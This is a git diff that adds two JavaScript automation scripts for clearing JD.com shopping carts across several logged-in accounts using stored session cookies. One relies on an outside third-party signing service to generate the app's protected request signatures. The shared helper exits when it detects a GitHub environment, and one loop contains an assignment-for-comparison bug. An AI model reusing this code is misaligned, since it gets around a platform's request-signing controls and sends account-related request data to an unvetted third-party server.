if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_cleancart.js b/jd_cleancart.js new file mode 100644 index 0000000..f5e692b --- /dev/null +++ b/jd_cleancart.js @@ -0,0 +1,643 @@ +/* + * @Author: X1a0He + * @Contact: https://t.me/X1a0He + * @Github: https://github.com/X1a0He/jd_scripts_fixed + * 清空购物车,支持环境变量设置关键字,用@分隔,使用前请认真看对应注释 + * 由于不是用app来进行购物车删除,所以可能会出现部分购物车数据无法删除的问题,例如预购商品,属于正常 + */ +const $ = new Env('清空购物车'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', postBody = '', venderCart, error = false; +let args_xh = { + /* + * 跳过某个指定账号,默认为全部账号清空 + * 填写规则:例如当前Cookie1为pt_key=key; pt_pin=pin1;则环境变量填写pin1即可,此时pin1的购物车将不会被清空 + * 若有更多,则按照pin1@pin2@pin3进行填写 + * 环境变量名称:XH_CLEAN_EXCEPT + */ + except: process.env.XH_CLEAN_EXCEPT && process.env.XH_CLEAN_EXCEPT.split('@') || [], + /* + * 控制脚本是否执行,设置为true时才会执行删除购物车 + * 环境变量名称:JD_CART + */ + clean: process.env.JD_CART === 'true' || false, + /* + * 控制脚本运行一次取消多少条购物车数据,为0则不删除,默认为100 + * 环境变量名称:XH_CLEAN_REMOVESIZE + */ + removeSize: process.env.XH_CLEAN_REMOVESIZE * 1 || 100, + /* + * 关键字/关键词设置,当购物车商品标题包含关键字/关键词时,跳过该条数据,多个则用@分隔,例如 旺仔牛奶@红外线@紫光 + * 环境变量名称:XH_CLEAN_KEYWORDS + */ + keywords: process.env.XH_CLEAN_KEYWORDS && process.env.XH_CLEAN_KEYWORDS.split('@') || [], +} +console.log('使用前请确保你认真看了注释,看完注释有问题就带着你的问题来找我') +console.log('tg: https://t.me/X1a0He') +console.log('=====环境变量配置如下=====') +console.log(`except: ${typeof args_xh.except}, ${args_xh.except}`) +console.log(`clean: ${typeof args_xh.clean}, ${args_xh.clean}`) +console.log(`removeSize: ${typeof args_xh.removeSize}, ${args_xh.removeSize}`) +console.log(`keywords: ${typeof args_xh.keywords}, ${args_xh.keywords}`) +console.log('=======================') +console.log() +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +!(async () => { + if (args_xh.clean) { + if (!cookiesArr[0]) { + $.msg('【京东账号一】移除购物车失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.error = false; + await TotalBean(); + console.log(`****开始【京东账号${$.index}】${$.nickName || $.UserName}****`); + if (args_xh.except.includes($.UserName)) { + console.log(`跳过账号:${$.nickName || $.UserName}`) + continue + } + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + if (args_xh.removeSize === 0) continue; + do { + await getCart_xh(); + $.keywordsNum = 0 + if ($.beforeRemove !== "0") { + await cartFilter_xh(venderCart); + $.retry = 0; + if (parseInt($.beforeRemove) !== $.keywordsNum) await removeCart(); + if($.retry = 2) break; + else { + console.log('\n由于购物车内的商品均包含关键字,本次执行将不删除购物车数据') + break; + } + } else break; + } while (!$.error && $.keywordsNum !== parseInt($.beforeRemove)) + } + } + } else { + console.log("你设置了不删除购物车数据,要删除请设置环境变量 JD_CART 为 true") + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +function getCart_xh() { + console.log('正在获取购物车数据...') + return new Promise((resolve) => { + const option = { + url: 'https://p.m.jd.com/cart/cart.action?fromnav=1&sceneval=2', + headers: { + "Cookie": cookie, + "User-Agent": "jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)", + }, + } + $.get(option, async (err, resp, data) => { + try { + data = JSON.parse(data.match(/window\.cartData = ([^;]*)/)[1]) + $.areaId = data.areaId; // locationId的传值 + $.traceId = data.traceId; // traceid的传值 + venderCart = data.cart.venderCart; + postBody = 'pingouchannel=0&commlist='; + $.beforeRemove = data.cart.currentCount ? data.cart.currentCount : 0; + console.log(`获取到购物车数据 ${$.beforeRemove} 条`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function cartFilter_xh(cartData) { + console.log("正在整理数据...") + let pid; + $.pushed = 0 + for (let cartJson of cartData) { + if ($.pushed === args_xh.removeSize) break; + for (let sortedItem of cartJson.sortedItems) { + if ($.pushed === args_xh.removeSize) break; + pid = typeof (sortedItem.polyItem.promotion) !== "undefined" ? sortedItem.polyItem.promotion.pid : "" + for (let product of sortedItem.polyItem.products) { + if ($.pushed === args_xh.removeSize) break; + let mainSkuName = product.mainSku.name + $.isKeyword = false + $.isPush = true + for (let keyword of args_xh.keywords) { + if (mainSkuName.indexOf(keyword) !== -1) { + $.keywordsNum += 1 + $.isPush = false + $.keyword = keyword; + break; + } else $.isPush = true + } + if ($.isPush) { + let skuUuid = product.skuUuid; + let mainSkuId = product.mainSku.id + if (pid === "") postBody += `${mainSkuId},,1,${mainSkuId},1,,0,skuUuid:${skuUuid}@@useUuid:0$` + else postBody += `${mainSkuId},,1,${mainSkuId},11,${pid},0,skuUuid:${skuUuid}@@useUuid:0$` + $.pushed += 1; + } else { + console.log(`\n${mainSkuName}`) + console.log(`商品已被过滤,原因:包含关键字 ${$.keyword}`) + $.isKeyword = true + } + } + } + } + postBody += `&type=0&checked=0&locationid=${$.areaId}&templete=1®=1&scene=0&version=20190418&traceid=${$.traceId}&tabMenuType=1&sceneval=2` +} + +function removeCart() { + console.log('正在删除购物车数据...') + return new Promise((resolve) => { + const option = { + url: 'https://wq.jd.com/deal/mshopcart/rmvCmdy?sceneval=2&g_login_type=1&g_ty=ajax', + body: postBody, + headers: { + "Cookie": cookie, + "User-Agent": "jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)", + "referer": "https://p.m.jd.com/", + "origin": "https://p.m.jd.com/" + }, + } + $.post(option, async (err, resp, data) => { + try { + data = JSON.parse(data); + $.afterRemove = data.cartJson.num + if ($.afterRemove < $.beforeRemove) { + console.log(`删除成功,当前购物车剩余数据 ${$.afterRemove} 条\n`) + $.beforeRemove = $.afterRemove + } else { + console.log('删除失败') + console.log(data.errMsg) + $.error = true; + $.retry++; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_cleancart_nolan.js b/jd_cleancart_nolan.js new file mode 100644 index 0000000..792a7f4 --- /dev/null +++ b/jd_cleancart_nolan.js @@ -0,0 +1,353 @@ +/* +清空购物车 +更新时间:2022-08-12 +因其他脚本会加入商品到购物车,故此脚本用来清空购物车 +包括预售 +需要算法支持 +默认定时,不会自动运行, 有需要的修改运行时间 + +1.@&@ 前面加数字 指定账号pin +如果有中文请填写中文 +2.|-| 账号之间隔开 +3.英文大小写请填清楚 +4.优先匹配账号再匹配* +5.定义不清空的[商品]名称支持模糊匹配 +6.pin@&@ 👉 指定账号(后面添加商品 前面账号[pin] *表示所有账号 +7.|-| 👉 账号之间隔开 +—————————————— + +商品名称规则,默认所有账号全清空 +——————gua_cleancart_products———————— +pin2@&@商品1,商品2👉该pin这几个商品名不清空 +pin5@&@👉该pin全清 +pin3@&@不清空👉该pin不清空 +*@&@不清空👉所有账号不请空 +*@&@👉所有账号清空 + +优先匹配账号再匹配* +|-| 👉 账号之间隔开 +有填帐号pin则*不适配 +—————————————— +如果有不清空的一定要加上"*@&@不清空" +防止没指定的账号购物车全清空 + +[task_local] +#清空购物车-Sign版 +cron "1 1 1 1 1" jd_cleancart_nolan.js, tag=清空购物车-Sign版, enabled=true +*/ +let jdSignUrl = 'https://api.nolanstore.top/sign' +let cleancartRun = 'true' +let cleancartProducts = '' +const $ = new Env('清空购物车-nolan版'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +message = '' + +cleancartRun = $.isNode() ? (process.env.JD_CART_REMOVE ? process.env.JD_CART_REMOVE : `${cleancartRun}`) : ($.getdata('JD_CART_REMOVE') ? $.getdata('JD_CART_REMOVE') : `${cleancartRun}`); + +cleancartProducts = $.isNode() ? (process.env.gua_cleancart_products ? process.env.gua_cleancart_products : '*@&@') : ($.getdata('gua_cleancart_products') ? $.getdata('gua_cleancart_products') : `${cleancartProducts}`); + +let productsArr = [] +let cleancartProductsAll = [] +for (let i of cleancartProducts && cleancartProducts.split('|-|')) { + productsArr.push(i) +} +for (let i of cleancartProducts && cleancartProducts.split('|-|')) { + productsArr.push(i) +} +for (let i in productsArr) { + if(productsArr[i].indexOf('@&@') > -1){ + let arr = productsArr[i].split('@&@') + cleancartProductsAll[arr[0]] = arr[1].split(',') + } +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if(cleancartRun !== 'true'){ + console.log('脚本停止\n请添加环境变量JD_CART_REMOVE为"true"') + return + } + if(!cleancartProducts){ + console.log('脚本停止\n请添加环境变量[gua_cleancart_products]\n清空商品\n内容规则看脚本文件') + return + } + + $.out = false + console.log('\n==此脚本使用的签名接口来自Nolan提供的公益服务,大伙记得给他点赞=='); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if(cleancartProductsAll[$.UserName]){ + $.cleancartProductsArr = cleancartProductsAll[$.UserName] + }else if(cleancartProductsAll["*"]){ + $.cleancartProductsArr = cleancartProductsAll["*"] + }else $.cleancartProductsArr = false + if($.cleancartProductsArr) console.log($.cleancartProductsArr) + await run(); + if($.out) break + } + } + if(message){ + $.msg($.name, ``, `${message}`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${message}`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + let msg = '' + let signBody = `{"homeWishListUserFlag":"1","userType":"0","updateTag":true,"showPlusEntry":"2","hitNewUIStatus":"1","cvhv":"049591","cartuuid":"hjudwgohxzVu96krv/T6Hg==","adid":""}` + let body = await jdSign('cartClearQuery', signBody) + if($.out) return + if(!body){ + console.log('获取不到算法') + return + } + let data = await jdApi('cartClearQuery',body) + let res = $.toObj(data,data); + if(typeof res == 'object' && res){ + if(res.resultCode == 0){ + if(!res.clearCartInfo || !res.subTitle){ + msg += `${res.mainTitle}\n` + console.log(res.mainTitle) + }else{ + let num = 0 + if(res.subTitle){ + num = res.subTitle.match(/共(\d+)件商品/).length > 0 && res.subTitle.match(/共(\d+)件商品/)[1] || 0 + msg += res.subTitle + "\n" + console.log(res.subTitle) + } + // console.log(`共${num}件商品`) + if(num != 0){ + let operations = [] + let operNum = 0 + for(let a of res.clearCartInfo || {}){ + // console.log(a.groupName) + // if(a.groupName.indexOf('7天前加入购物车') > -1){ + for(let s of a.groupDetails || []){ + if(toSDS(s.name)){ + // console.log(s.unusable,s.skuUuid,s.name) + operNum += s.clearSkus && s.clearSkus.length || 1; + operations.push({ + "itemType": s.itemType+"", + "suitType": s.suitType, + "skuUuid": s.skuUuid+"", + "itemId": s.itemId || s.skuId, + "useUuid": typeof s.useUuid !== 'undefined' && s.useUuid || false + }) + } + } + // } + } + console.log(`准备清空${operNum}件商品`) + if(operations.length == 0){ + console.log(`清空${operNum}件商品|没有找到要清空的商品`) + msg += `清空${operNum}件商品|没有找到要清空的商品\n` + }else{ + let clearBody = `{"homeWishListUserFlag":"1","userType":"0","updateTag":false,"showPlusEntry":"2","hitNewUIStatus":"1","cvhv":"049591","cartuuid":"hjudwgohxzVu96krv/T6Hg==","operations":${$.toStr(operations,operations)},"adid":"","coord_type":"0"}` + clearBody = await jdSign('cartClearRemove', clearBody) + if($.out) return + if(!clearBody){ + console.log('获取不到算法') + }else{ + let clearData = await jdApi('cartClearRemove',clearBody) + let clearRes = $.toObj(clearData,clearData); + if(typeof clearRes == 'object'){ + if(clearRes.resultCode == 0) { + msg += `清空${operNum}件商品|✅\n` + console.log(`清空${operNum}件商品|✅\n`) + }else if(clearRes.mainTitle){ + msg += `清空${operNum}件商品|${clearRes.mainTitle}\n` + console.log(`清空${operNum}件商品|${clearRes.mainTitle}\n`) + }else{ + msg += `清空${operNum}件商品|❌\n` + console.log(`清空${operNum}件商品|❌\n`) + console.log(clearData) + } + }else{ + msg += `清空${operNum}件商品|❌\n` + console.log(`清空${operNum}件商品|❌\n`) + console.log(clearData) + } + } + } + }else if(res.mainTitle){ + msg += `${res.mainTitle}\n` + console.log(res.mainTitle) + }else{ + msg += `未识别到购物车有商品\n` + console.log(data) + } + } + }else{ + console.log(data) + } + }else{ + console.log(data) + } + if(msg){ + message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${msg}\n` + } + await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) + }catch(e){ + console.log(e) + } +} +function toSDS(name){ + let res = true + if($.cleancartProductsArr === false) return false + for(let t of $.cleancartProductsArr || []){ + if(t && name.indexOf(t) > -1 || t == '不清空'){ + res = false + break + } + } + return res +} +function jdApi(functionId,body) { + if(!functionId || !body) return + return new Promise(resolve => { + $.post(taskPostUrl(`/client.action?functionId=${functionId}`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let res = $.toObj(data,data); + if(typeof res == 'object'){ + if(res.mainTitle) console.log(res.mainTitle) + if(res.resultCode == 0){ + resolve(res); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(''); + } + }) + }) +} + +function jdSign(fn, body) { + let sign = ''; + let flag = false; + try { + const fs = require('fs'); + if (fs.existsSync('./gua_encryption_sign.js')) { + const encryptionSign = require('./gua_encryption_sign'); + sign = encryptionSign.getSign(fn, body) + } else { + flag = true + } + sign = sign.data && sign.data.sign && sign.data.sign || '' + } catch (e) { + flag = true + } + if (!flag) + return sign + if (!jdSignUrl.match(/^https?:\/\//)) { + console.log('请填写算法url') + $.out = true + return '' + } + return new Promise((resolve) => { + let url = { + url: jdSignUrl, + body: `{"fn":"${fn}","body":${body}}`, + followRedirect: false, + headers: { + 'Accept': '*/*', + "accept-encoding": "gzip, deflate, br", + 'Content-Type': 'application/json' + }, + timeout: 30000 + } + $.post(url, async(err, resp, data) => { + try { + data = JSON.parse(data); + if (data && data.body) { + if (data.body) + sign = data.body || ''; + if (sign != '') + resolve(sign); + else + console.log("签名获取失败."); + } else { + console.log("签名获取失败."); + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve('') + } + }) + }) +} + 